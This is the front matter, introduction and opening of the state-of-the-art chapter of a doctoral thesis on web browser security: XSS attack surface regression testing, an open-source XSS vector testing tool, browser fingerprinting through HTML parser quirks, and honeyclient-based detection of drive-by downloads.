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Abstract
Web success is associated with the expansion of web interfaces in software. They have
replaced many thick-clients and command-line interfaces. HTML is now a widely adopted
generic user-interface description language. The cloud-computing trend set browsers in a
central position, handling all our personal and professional information. Online banking
and e-commerce are the sources of an attractive cash ﬂow for online thefts, and all
this personal information is sold on black markets. Unsurprisingly, web browsers are
consequently the favorite targets of online attacks.
The ﬁerce competition between browser vendors is associated with a features race,
leading to partial implementation of W3C norms, and non-standard features. It resulted
in a fast release pace of new browser versions over these last years. While positively
perceived by users, such competition can have a negative impact on browser security and
user privacy.
This increasing number of features and the discrepancies between browser vendors'
implementations facilitate the attacker task for cross site scripting (XSS) and drive-by
download attacks.
Through this thesis, we propose to adopt the attacker's viewpoint. We will test and
analyze the browsers' engines as black-boxes, like hackers using the latest browsers' evo-
lutions to evade current detection techniques or bypass protections. This thesis relies on
the following technical contributions :
 a testing methodology for systematic evaluation of the browsers' attack surface
against a set of XSS vectors,
 an open-source testing tool suited to qualify XSS vectors,
 an updated - and to be maintained- online benchmark of XSS test vectors for XSS
attack surface regression testing, the most complete publicly available set
 a dynamic web browser ﬁngerprinting technique for accurately identifying the
version of a web browser,
 a testing tool for client-side honeypots.
Coming to the overall objectives of a research leading to the better understandings of
browser's role in security, this thesis provides an instrument to understand XSS attack
vectors, categorize them, evaluate the exposure of web browsers against XSS and may
eventually open the ﬁeld, but this is beyond the scope of this thesis, to a new strategy
to detect future client-side attacks, however this last point is beyond the scope of this
thesis.
Résumé
L'explosion du web a profondément modiﬁé notre façon d'interagir avec les logi-
ciels. Des applications en ligne de commande à la bureautique, tous nos outils se sont
transformés en applications web accessibles partout depuis n'importe quel navigateur.
Le langage HTML est devenu de-facto le langage universel de description d'interfaces
graphiques. L'essor du cloud place le navigateur au centre de nos interactions avec l'in-
formatique moderne. Notre vie numérique, qu'elle soit personnelle ou professionnelle se
retrouve centralisée dans cette unique porte d'accès au monde numérique. Le succès du
e-commerce et de la gestion de nos comptes bancaires en ligne a attiré la convoitise d'une
ﬂopée d'escrocs et de pirates. Même nos informations personnelles se monnayent sur le
marché noir. Il n'est donc pas étonnant que les navigateurs web soient la cible numéro
un des attaques en ligne.
Lorsque la compétition fait rage entre éditeurs de navigateurs, la surenchère aux
fonctionnalités n'est pas loin. Avec un impact négatif quand à la qualité du développe-
ment. Fonctions non documentées, non standardisées ou bien implémentations bâclées
des normes du W3C sont les conséquences directes de cette guerre que les éditeurs de
navigateurs se livrent à coup de nouvelles versions. L'utilisateur perçoit souvent la nou-
veauté comme quelque chose de positif, mais il n'est pas expert et, en ce sens, ne perçoit
pas forcément l'impact négatif que peut avoir une telle compétition sur sa sécurité ou sa
vie privée.
Ces fonctionnalités toujours plus nombreuses et les divergences de comportement
entre navigateurs sont un terreau fertile pour les attaques par cross site scripting (XSS)
et par drive-by download.
Nous proposons au ﬁl de cette thèse un changement de perspective en imaginant
un attaquant s'appuyant sur l'évolution des navigateurs pour échapper aux techniques
de détection actuelles. Cette thèse s'articule donc autour des contributions techniques
suivantes :
 Une méthodologie d'évaluation de la surface d'attaque des navigateurs web face
aux XSS
 Un outil de test open-source capable de qualiﬁer des vecteurs de XSS.
 Un ensemble de vecteurs de XSS disponible sur un site de test en-ligne pour
l'évaluation de la non-régression de la surface d'attaque des navigateurs face aux
XSS.
 Une nouvelle technique de prise d'empreinte des navigateurs capable d'identiﬁer
précisément la version d'un navigateur.
 Un outil de test pour les honeypot voulant imiter le fonctionnement d'un naviga-
teur web pour analyser et déjouer les attaques par drive-by download.
Quant aux objectifs de recherche de cette thèse ; il s'agit d'améliorer la compréhension
du rôle joué par le navigateur dans la sécurité. Cette thèse fournit donc l'outillage néces-
saire pour comprendre et évaluer l'impact réel de vecteurs de XSS sur les navigateurs.
Cette compréhension ouvre la porte vers une nouvelle stratégie de détection des attaques
visant les navigateurs. Une stratégie capable de prendre en compte les évolutions futures
de ces attaques.
ii
Contents
1 Introduction 1
2 State of the art 5
2.1 Client-Side Attack in Web Applications . . . . . . . . . . . . . . . . . . . 10
2.1.1 Computer Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
2.1.2 Web Application Vulnerabilities . . . . . . . . . . . . . . . . . . . . 13
2.1.3 Client-Side Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
2.1.4 Cross Site Scripting . . . . . . . . . . . . . . . . . . . . . . . . . . 15
2.1.5 Drive-by Download . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
2.1.6 Discussing the Challenges Raised by Client-Side Attacks . . . . . . 24
2.2 Client-Side Attack Detection and Prevention . . . . . . . . . . . . . . . . . 24
2.2.1 An IDS Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
2.2.2 Oﬀensive Code Analysis Techniques and Location Constrains . . . 25
2.2.3 Client-Side Mechanisms . . . . . . . . . . . . . . . . . . . . . . . . 27
2.2.4 Server-Side Mechanisms . . . . . . . . . . . . . . . . . . . . . . . . 31
2.2.5 Proxy Mechanisms: Between Client and Server . . . . . . . . . . . 33
2.2.6 Hybrid Approach: Client and Server Cooperation . . . . . . . . . . 33
2.2.7 Network Based Approaches . . . . . . . . . . . . . . . . . . . . . . 36
2.2.8 Recapitulation of Client-Side Attack Detection Mechanism . . . . . 36
2.3 From Software Testing To Application Layer Attacks . . . . . . . . . . . . 39
2.3.1 The Attack Process . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
2.3.2 Browsers In Software Testing . . . . . . . . . . . . . . . . . . . . . 42
2.3.3 XSS Vulnerability Testing: Between Hacking and Software Engi-
neering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
2.3.4 Discussion on XSS Attack Surface Evaluation . . . . . . . . . . . . 46
2.4 Browser Fingerprinting: a Security & Privacy Issue . . . . . . . . . . . . . 47
2.4.1 User Identiﬁcation Through Browser Instance Information . . . . . 48
2.4.2 Browser Fingerprinting as a Tool . . . . . . . . . . . . . . . . . . . 49
2.5 Browser Diversity Challenges Recapitulation . . . . . . . . . . . . . . . . . 51
3 Tailored Shielding and Bypass Testing of Web Applications 53
3.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
3.2 Context . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
iii
CONTENTS
3.2.1 Deﬁnitions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
3.2.2 Client-Side Validation Techniques . . . . . . . . . . . . . . . . . . . 55
3.2.3 Scope of the Contribution and Related Work . . . . . . . . . . . . 56
3.3 Overview of the Approach . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
3.4 Client-side Analysis for Pre-conditions Identiﬁcation . . . . . . . . . . . . 60
3.4.1 The Automated Crawler . . . . . . . . . . . . . . . . . . . . . . . . 61
3.4.2 Manual Navigation and Use of Functional Tests . . . . . . . . . . . 61
3.4.3 Collecting HTML Constraints . . . . . . . . . . . . . . . . . . . . . 61
3.4.4 Interpreting JavaScript . . . . . . . . . . . . . . . . . . . . . . . . . 63
3.5 Server-side Shield: a Shield Tool for Protecting Against Bypass Attacks . 63
3.5.1 The Contracts Manager . . . . . . . . . . . . . . . . . . . . . . . . 63
3.5.2 The Bypass-Shield . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
3.5.3 Impact of Enforcing Constraints on Security . . . . . . . . . . . . . 65
3.6 Automated Bypass Testing . . . . . . . . . . . . . . . . . . . . . . . . . . 66
3.6.1 The Generation of Malicious Test Data . . . . . . . . . . . . . . . . 66
3.6.2 Construction and Execution of Bypass Tests . . . . . . . . . . . . . 67
3.7 Experiments and Results . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
3.7.1 Bypass Shielding Results . . . . . . . . . . . . . . . . . . . . . . . . 68
3.7.2 Bypass Testing Results . . . . . . . . . . . . . . . . . . . . . . . . . 69
3.7.3 Performance Results . . . . . . . . . . . . . . . . . . . . . . . . . . 70
3.8 Fighting XSS with HTML Post-Conditions . . . . . . . . . . . . . . . . . . 70
3.8.1 Evaluation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
3.8.2 Improving the Benchmark with New Vectors . . . . . . . . . . . . 72
3.9 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
4 XSS Test Driver 75
4.1 Terminology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
4.2 Requirements For a XSS Vector Testing Tool . . . . . . . . . . . . . . . . 76
4.3 Foreword: Limitations of JsTestDriver . . . . . . . . . . . . . . . . . . . . 76
4.4 Test Logic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78
4.5 Test Format and JavaScript Payload . . . . . . . . . . . . . . . . . . . . . 79
4.6 User-Agent and Results Gathering . . . . . . . . . . . . . . . . . . . . . . 82
4.7 Improving XSS Test Driver Performances . . . . . . . . . . . . . . . . . . 82
4.8 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
5 Browser Regression Testing on XSS Vectors 85
5.1 Metrics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86
5.1.1 The Threat Exposure Degree ThExp(wb, TS) . . . . . . . . . . . . 86
5.1.2 The Degree of Noxiousness Nox(tc,WB) . . . . . . . . . . . . . . 86
5.1.3 The Attack Surface Distance . . . . . . . . . . . . . . . . . . . . . 87
5.2 Experimental Design . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87
5.2.1 XSS Vector Set . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87
5.2.2 Browser Set . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
5.2.3 Threats to Validity . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
iv
CONTENTS
5.2.4 Technical Issues and Details . . . . . . . . . . . . . . . . . . . . . . 89
5.3 Empirical Results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
5.3.1 Testing Hypothesis H1 . . . . . . . . . . . . . . . . . . . . . . . . . 89
5.3.2 Testing Hypothesis H2 . . . . . . . . . . . . . . . . . . . . . . . . . 92
5.4 Client-Side Honeypot Testing . . . . . . . . . . . . . . . . . . . . . . . . . 93
5.5 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96
6 Browser Fingerprinting Based on XSS Vectors 101
6.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
6.2 Rationales . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
6.2.1 Defeating Session Stealing with Browser Fingerprinting . . . . . . . 103
6.2.2 The Beneﬁts of Using HTML Parser Quirks For Fingerprinting . . 103
6.3 Overview of the Approach . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
6.4 Origins of Parser Quirks Diversity . . . . . . . . . . . . . . . . . . . . . . 105
6.4.1 On Kinds of XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
6.4.2 Towards a XSS Vector Taxonomy . . . . . . . . . . . . . . . . . . . 107
6.4.3 A Dataset of HTML Parser Quirks . . . . . . . . . . . . . . . . . . 108
6.5 Fingerprinting Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . 109
6.5.1 Exact Fingerprinting Based on Hamming Distance Between Browser
Signatures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109
6.5.2 Browser Family Fingerprinting Using Decision Trees . . . . . . . . 111
6.6 Experimental Results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112
6.6.1 Exact Fingerprinting Results . . . . . . . . . . . . . . . . . . . . . 112
6.6.2 Browser Family Fingerprinting Results . . . . . . . . . . . . . . . . 113
6.6.3 Recapitulation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114
6.7 Discussion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114
6.7.1 On Time and XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . 114
6.7.2 Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116
6.8 Other Uses for Browser Fingerprinting . . . . . . . . . . . . . . . . . . . . 116
6.8.1 Defense Using Client Side Honeypots . . . . . . . . . . . . . . . . . 116
6.8.2 Detection of Disguised Crawlers . . . . . . . . . . . . . . . . . . . . 117
6.9 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
7 Honeyclients and Client-Side Attack Detection 121
7.1 Improving Honeyclients . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121
7.1.1 Honeyclient Testing Methodology . . . . . . . . . . . . . . . . . . . 122
7.1.2 Improving Honeyclients for XSS Attack Detection . . . . . . . . . . 122
7.1.3 A Honeyclient as a Client-Side Attack Detection Oracle . . . . . . 123
7.2 An Architecture Proposal to Turn Honeyclients into NIDS . . . . . . . . . 123
7.2.1 Components Description . . . . . . . . . . . . . . . . . . . . . . . . 123
7.2.2 Detection Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126
7.3 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127
8 Conclusion and Future Work 129
v
CONTENTS
A Web Technologies Overview 131
A.1 Web Protocol: HTTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131
A.2 The Web Languages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133
A.3 Web Application Architecture . . . . . . . . . . . . . . . . . . . . . . . . . 136
A.4 Browsers Architecture . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 138
A.5 Recapitulation on Web Technologies . . . . . . . . . . . . . . . . . . . . . 140
vi
List of Figures
1.1 Thesis track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
2.1 State of the Art Mind Map . . . . . . . . . . . . . . . . . . . . . . . . . . 9
2.2 Stored XSS attack scenario . . . . . . . . . . . . . . . . . . . . . . . . . . 18
2.3 Reﬂected XSS attack scenario . . . . . . . . . . . . . . . . . . . . . . . . . 19
2.4 Stored DOM XSS attack scenario . . . . . . . . . . . . . . . . . . . . . . . 19
2.5 Stored InnerHTML XSS attack scenario . . . . . . . . . . . . . . . . . . . 20
2.6 Locations for client-side attack detection in the web application supply
chain . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
2.7 XSS attack detection overview . . . . . . . . . . . . . . . . . . . . . . . . . 37
2.8 Drive-by download attack detection overview . . . . . . . . . . . . . . . . 38
2.9 Detection tools HTML engine coverage . . . . . . . . . . . . . . . . . . . . 39
2.10 Detection tools JavaScript engine coverage . . . . . . . . . . . . . . . . . . 39
3.1 Pre-condition based Testing and shielding of web applications . . . . . . . 59
3.2 Collecting pre-conditions using manual navigation and functional tests . . 62
3.3 Overview of the shield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
3.4 Illustration of post-condition declaration for a web page structure . . . . . 70
3.5 Example of tag augmentation caused by an XSS . . . . . . . . . . . . . . 71
3.6 Example of property augmentation caused by an XSS . . . . . . . . . . . 71
4.1 XSS Test Driver Testing Logic . . . . . . . . . . . . . . . . . . . . . . . . . 79
4.2 XSS Test Driver Iframe Runner Logic . . . . . . . . . . . . . . . . . . . . 79
5.1 Opera regression. passing vectors / ASD(TRn, TRn−1) . . . . . . . . . . . 93
5.2 Netscape regression. passing vectors / ASD(TRn, TRn−1) . . . . . . . . . 94
5.3 Mozilla regression. passing vectors / ASD(TRn, TRn−1) . . . . . . . . . . 94
5.4 Firefox regression. passing vectors / ASD(TRn, TRn−1) . . . . . . . . . . 94
5.5 Internet Explorer regression. passing vectors / ASD(TRn, TRn−1) . . . . 95
5.6 Android regression. passing vectors / ASD(TRn, TRn−1) . . . . . . . . . 95
5.7 Browsers' XSS Exposure over Time . . . . . . . . . . . . . . . . . . . . . 95
6.1 Overview of Our browser Fingerprinting Process . . . . . . . . . . . . . . 104
vii
LIST OF FIGURES
6.2 Executing at most 5 XSS vectors enables us to classify the browser family
with 98% precision. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114
6.3 Browser Distance Analysis using Modiﬁed Hamming Distance (ﬁrst part) . 118
6.4 Browser Distance Analysis using Modiﬁed Hamming Distance (second part)119
6.5 Analysis of the relation between browser birth date and modiﬁed Ham-
minng distance. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 120
6.6 Analysis of the relation between browser birth date and modiﬁed Ham-
minng distance for the Opera family . . . . . . . . . . . . . . . . . . . . . 120
7.1 Architecture for client-side attack detection at the network level . . . . . . 123
7.2 Character occurrence of good and bad JS ﬁles . . . . . . . . . . . . . . . . 125
7.3 Detection process workﬂow . . . . . . . . . . . . . . . . . . . . . . . . . . 126
7.4 Example of an analysis process workﬂow within the honeyclient . . . . . . 128
A.1 Typical 3-tier architecture for web application . . . . . . . . . . . . . . . . 136
A.2 Browser Architecture Overview . . . . . . . . . . . . . . . . . . . . . . . . 139
viii
List of Tables
3.1 HTML predeﬁned constraints . . . . . . . . . . . . . . . . . . . . . . . . . 62
3.2 Examples of constraints . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
3.3 Examples of constraints . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
3.4 Applications used for Shield benchmark . . . . . . . . . . . . . . . . . . . 68
3.5 Vulnerabilities mitigated by the shield . . . . . . . . . . . . . . . . . . . . 68
3.6 Bypass testing results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
4.1 Examples of results of the XSS Test Driver . . . . . . . . . . . . . . . . . 80
4.2 User-Agents Identiﬁcation . . . . . . . . . . . . . . . . . . . . . . . . . . . 82
5.1 Test results for vectors 1 to 42 . . . . . . . . . . . . . . . . . . . . . . . . . 97
5.2 Test results for vectors 42 to 84 . . . . . . . . . . . . . . . . . . . . . . . . 98
5.3 Mobiles & Desktop comparison . . . . . . . . . . . . . . . . . . . . . . . . 99
5.4 HtmlUnit vs real browser comparison . . . . . . . . . . . . . . . . . . . . . 99
6.1 Composition of the XSS database (number of XSS vectors per source) . . 109
6.2 Distribution of Browser Families . . . . . . . . . . . . . . . . . . . . . . . 112
6.3 Example of labeled signatures . . . . . . . . . . . . . . . . . . . . . . . . . 112
6.4 MHD Fingerprinting Eﬃciency analysis . . . . . . . . . . . . . . . . . . . 113
6.5 Browser family classiﬁcation results . . . . . . . . . . . . . . . . . . . . . . 113
6.6 Confusion matrix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115
ix
LIST OF TABLES
x
Listings
2.1 ping php page vulnerable to command injection . . . . . . . . . . . . . . . 13
2.2 Vulnerable page source extract . . . . . . . . . . . . . . . . . . . . . . . . 16
2.3 XSS attack url with a dummy payload . . . . . . . . . . . . . . . . . . . . 16
2.4 Web page output . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
2.5 Cookie stealing payload . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
2.6 Encoded payload executed with eval() function . . . . . . . . . . . . . . . 17
2.7 XSS vector example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
2.8 Decoded payload . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
2.9 XSS vector using HTML comments obfuscation . . . . . . . . . . . . . . . 19
2.10 XSS vector using srcdoc obfuscation . . . . . . . . . . . . . . . . . . . . . 19
2.11 Obfuscated JavaScript and HTML code from an exploit kit . . . . . . . . 22
2.12 JS decoding function . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2.13 Fingerprinting example from EK . . . . . . . . . . . . . . . . . . . . . . . 23
2.14 Fiddler plugin check . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
3.1 JavaScript email constraint . . . . . . . . . . . . . . . . . . . . . . . . . . 56
4.1 JsTestDriver implementation of XSS vector testing . . . . . . . . . . . . . 77
4.2 Example of a webcontext based on a xml header . . . . . . . . . . . . . . 78
4.3 Example of a webcontext based on a based on an HTML5 doctype . . . . 78
5.1 XSS vector #53 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
5.2 Input onfocus XSS vector . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
A.1 Sample HTTP request . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132
A.2 HTTP response . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132
A.3 HTML page . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133
A.4 JavaScript code example . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135
A.5 JSON data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135
A.6 REST URL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136
xi
LISTINGS
xii
Chapter 1
Introduction
Hack the planet! Hack the
planet!
Dade Murphy, In "Hackers"
movie, 1995
When I started studying Cross Site Scripting (XSS) issues, it was considered as a
vulnerability for script-kiddie: too easy to understand and to exploit compared to buﬀer
overﬂow exploit writing. But at that time, social networking was barely emerging, and
the real impact of such an issue started to unveil when the samy worm 1 hit MySpace.
Maybe some of you remember the time where it was said that JavaScript was only made to
crash browsers and display annoying pop-ups. And disabling it was highly recommended.
Nowadays websites barely render properly without JavaScript.
I also recall the time when malware were spread by emails, or ﬂoppy disks, when
Trojans were used for pranks, and virus made for the challenge. Things have changed
today: web-apps are everywhere. Our not-so-smart TV sets are a new playground for
hacking, also for embedding a web browser. Facebook and Twitter have replaced meeting
places like bars, and we don't know anymore who's entering into our private circles.
People can't speak quietly anymore when a stranger comes in. When you speak on the
Internet, everybody can hear you.
All those web applications are the privileged target of many attackers of all kind.
Among the attacks used by these attackers, cross site scripting (XSS) and drive-by down-
load are the most popular ones for targeting users.
Cross site scripting consists of injecting HTML and/or JavaScript code within the
parameters of a web application. Parts of the website use these parameters in its web
pages. When the HTML or the JavaScript injected by the attacker reach its browser
through the web page, the attacker takes control of it. Then he can either silently redirect
the browser to a trap where many exploits are launched against it to infect the user's
PC, or he can use its browser as a proxy, and act on behalf of the user on the vulnerable
web application.
1. http://namb.la/popular/
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The credit card black market [1] is fed with stolen information from banking malwares
deployed through exploit-kits. Browsers are the main entrance for cybercriminals into
people's computers. According to CVEDetails statistics 2 XSS is the most reported CVE
vulnerability after buﬀer overﬂows and arbitrary code execution. Thus making XSS the
most reported web vulnerability. According to Kaspersky statistics 3 94% of detected
exploitation attempts targeted Java vulnerabilities via malicious Java applets employed
in drive-by download attacks. Cybercrime is an always-moving target [2], adapting to
business evolutions and always seeking for new opportunities. We thus need an adaptation
process in our security mechanism to follow up in this race.
We often look at the web application as the main cause of insecurity, blaming de-
velopers for their bad work. It is easier said than done without considering the tight
schedule they usually have to respect.
What if one of the web component plays against us ?
Browsers are a complex piece of software. They are modiﬁed on a day to day basis to
implement new standards, norms, bug ﬁxes in a competitive market. This context makes
the browser's behavior hard to predict when it comes to new HTML features or partly
implemented norms.
This feature driven engineering may have a side eﬀect on software components relying
on the browser and their underlying security. How can we measure browsers' evolutions
impact on security?
We ﬁrst limited the scope of attack related to the browser: XSS, ﬁngerprinting and
drive-by download. These client-side attacks have one element in common: obfuscation to
evade attack detection while achieving eﬀective execution within the targeted browser.
In our ﬁrst scientiﬁc contribution Tailored shielding and bypass testing of web applica-
tions - ICST2011 - We started this thesis work (see ﬁgure 1.1) by testing the bypass-shield
presented in this paper against XSS attacks. We tried to express HTML post-conditions
for the web application protected by the bypass-shield in order to block XSS attacks. To
improve our test quality and benchmark it against existing Web Application Firewalls
(WAF), we started researching new XSS vectors and encountered several bypass issues
due to discrepancies between browser's behaviors.
To measure these discrepancies, we designed the XSS Test Driver tool, publicly avail-
able on GitHub 4 with a demo version online 5, the technical cornerstone of this thesis.
A cross-browser XSS vector testing tool.
We noticed diﬀerent behaviors between all the browsers when facing various XSS at-
tacks. This was the subject of XSS Test Driver et les navigateurs mobiles - C&ESAR 2011
- An analysis of diﬀerences between desktop and mobile browsers on several XSS vectors.
Using this test method we uncovered browser-speciﬁc XSS vectors barely detected by
traditional IDS approaches.
2. http://www.cvedetails.com/vulnerabilities-by-types.php
3. https://www.securelist.com/en/analysis/204792318/Kaspersky_Security_Bulletin_2013_
Overall_statistics_for_2013
4. https://github.com/g4l4drim/xss_test_driver
5. http://xss.labosecu.rennes.telecom-bretagne.eu
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Figure 1.1  Thesis track
We eventually found that we were facing a typical software testing issue: regression. In
Towards systematic security regression testing of web browsers: an empirical investigation
of last decade web browsers attack surface against XSS - SECTEST 2014 - We presented
this browser attack surface regression issue with a large scale study of browsers' attack
surface evolution over more than a decade.
Browser's evolutions impacts users' privacy by oﬀering new ﬁngerprint elements with
each new remotely testable features added to the browser.
We have enforced our work to measure precisely browser's characteristics, and discover
a new way to ﬁngerprint browsers. We presented it in XSS-FP: Browser Fingerprinting
using HTML Parser Quirks - Arxiv 2012 - Our new browser ﬁngerprinting technique is
based on HTML parser quirks, the same quirks that are used in XSS vectors by attackers
to evade anti-XSS ﬁlters.
To get a better idea of the security impact of such browser-ﬁngerprinting techniques,
we studied how it was employed in drive-by download attacks. In Fingerprinting de nav-
igateurs 6 - SSTIC 2013 - we provided an overview of existing browser ﬁngerprinting
techniques in the wild and in the academic world, along with a presentation of our ﬁn-
gerprinting technique.
Through our research on client-side intrusion detection and prevention systems, we
discovered that the browser's implication on web attack detection is often undermined.
The sandboxing principle is widely used to identify on-the-ﬂy drive-by download attacks
and to block them. To do so, a fake browser , also called honey-client or client-side
honeypot, is used to trick the attack to reveal itself. But these fake browsers are far
6. https://www.sstic.org/2013/presentation/fingerprinting_de_navigateurs/
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from perfect and often does not behave like intended. These honeyclients relies on spe-
ciﬁc HTML parsers and JavaScript engines, which highly diﬀer from the ones used by
browsers. An attacker spotting any discrepancy can use it to avoid detection. It is very
common to see such browser-speciﬁc code in drive-by download attacks. Along with our
study of drive-by download attacks we took part to the organization of the ﬁrst botnet
ﬁghting conference (BOTCONF'13).
We eventually propose a detection strategy to uncover client-side attacks using hon-
eyclients and headless browsers in a sandboxed environment. Our proposal relies on
browser ﬁngerprinting to improve stealthiness of honeyclients by uncovering ﬂaws in
browser emulation. The whole benchmark for honeyclient testing is yet to complete. But
our testing work has helped improving the Thug honeyclient through practical evaluation
of its script execution capabilities. The components enabling the use of honeyclient in a
network-based solution are already available, only the experimental part of this research
is missing.
Yes, the fast pace of browser releases and the ﬁerce competition between browser
vendors impact security. And this will not change anytime soon. Meanwhile, researchers
have to design security systems able to handle this browsers diversity issue, to hold in
time, and to evolve as fast as browsers evolve. Failing to do so will leave growing security
holes. Even if ﬁghting browser ﬁngerprinting feels like a lost cause for privacy 7, it is not
a reason to cease studying it under the security viewpoint, because it might be used in
attacks, and the security community need to be aware of upcoming threats.
This thesis is organized as follows:
 chapter 2 brings an overview of the computer security ﬁeld. It introduces software
attack notions with a focus on the two most popular client-side attacks: Cross
Site Scripting (XSS) and drive-by download.
 chapter 3 presents our preliminary work on the web application ﬁrewalls topics
and main issues encountered in benchmarking security mechanisms against XSS.
 chapter 4 present the XSS Test Driver tool, its goal, architectures and reasons
behind the creation of this original tool: the ﬁrst and only available open-source
XSS vector testing harness.
 chapter 5 analyzes the evolution of browsers' attack surface against XSS over more
than a decade for the major browser families. This analysis highlights the need
for browser attack surface regression testing.
 chapter 6 presents our browser ﬁngerprinting technique based on XSS vectors,
the evaluation of its eﬃciency, and how it can be expanded using JavaScript-less
quirks and non XSS related quirks.
 chapter 7 draws the lessons from our research and propose a new detection model
for client-side attacks to avoid identiﬁed pitfalls along with a practical, and already
applied, honeyclient validation methodology.
.
7. http://www.w3.org/wiki/Fingerprinting
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Chapter 2
State of the art
La sécurité est une course à
l'échalotte entre attaquants et
défenseurs
Yves Correc
To introduce the background and context necessary to present the contributions of
this thesis, this state of the art concerns three topics. Two are related to the security
& privacy research ﬁeld: software attacks (especially client-side web attacks) and ﬁn-
gerprinting. The last one, testing, is usually associated with the software engineering
ﬁeld.
Cross site scripting(XSS) is an old vulnerability, since it has been present in web
applications since they came into existence. Basically, XSS enables attackers to inject
client-side script into Web pages viewed by other users. Conceptually, as for any code-
injection, this vulnerability is due to the interpreted nature of web-application languages
(HTML, JavaScript) that, compared to a compiled code, mix data with program instruc-
tions, making code-injection possible within the data ﬁelds. To study how to improve
this fundamentally vulnerable paradigm (interpreted languages), much research and in-
dustrial work has been conducted in this ﬁeld to counter this vulnerability. Looking at
the amount of these contributions, several questions arise: why this vulnerability is so
widespread? Why is it still an active research topic despite all the great work done?
Several factors concur to explain this negative observation:
Software Development Practices
Coding practices were ﬁrst criticized when XSS started to spread. XSS is an injection
ﬂaw, meaning the developer didn't properly encode users' outputs before sending them
back to the browser. It was mainly answered at the application level with frameworks
and ﬁltering libraries (see section 2.2.4) [3].
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Attack Knowledge
Attack knowledge of the developers is rather limited. They are no security experts,
and thus do not have a complete view of the attack's inner-workings. Attacking was for
a long time a forbidden knowledge, tainted with a bad reputation. But this knowledge
is key to designing eﬃcient countermeasures (see section 2.1.3 for more details). Thus
attackers are always ahead in attack knowledge, and countermeasures are designed with
an outdated model in mind.
Input and Output Technical Knowledge
Each developer has a limited knowledges on his code inputs. To handle the numer-
ous layers of a web architecture (see section A ), developers and administrators get an
expertize on a speciﬁc portion of the system. Misleading assumptions are done by each
specialist on what comes from a component, and what is appropriate for the next one.
The contracts linking system components together, their respective roles and responsi-
bilities, are often implicit even at a technical level: parameters typing, pre-condition and
post-conditions brings solutions on this ﬁeld, but are very rarely used [4].
Undermined Browser Complexity
The richness of the attack methods is a grimmer reﬂection of the feature rich world
of the web technologies. Most users expect the same product to work the same way as
its counterpart; a browser is a browser after all! All web pages look the same whichever
browser is used, but in reality it is at the cost of constant eﬀorts from developers main-
taining libraries and frameworks smoothing out all the observable diﬀerences. JavaScript
library code is full of functions with browser-speciﬁc implementations of the same fea-
ture. Despite of all the standardization eﬀorts this situation persists nowadays. It results
in incomplete browser models, and thus partial attack models. An attacker proﬁts from
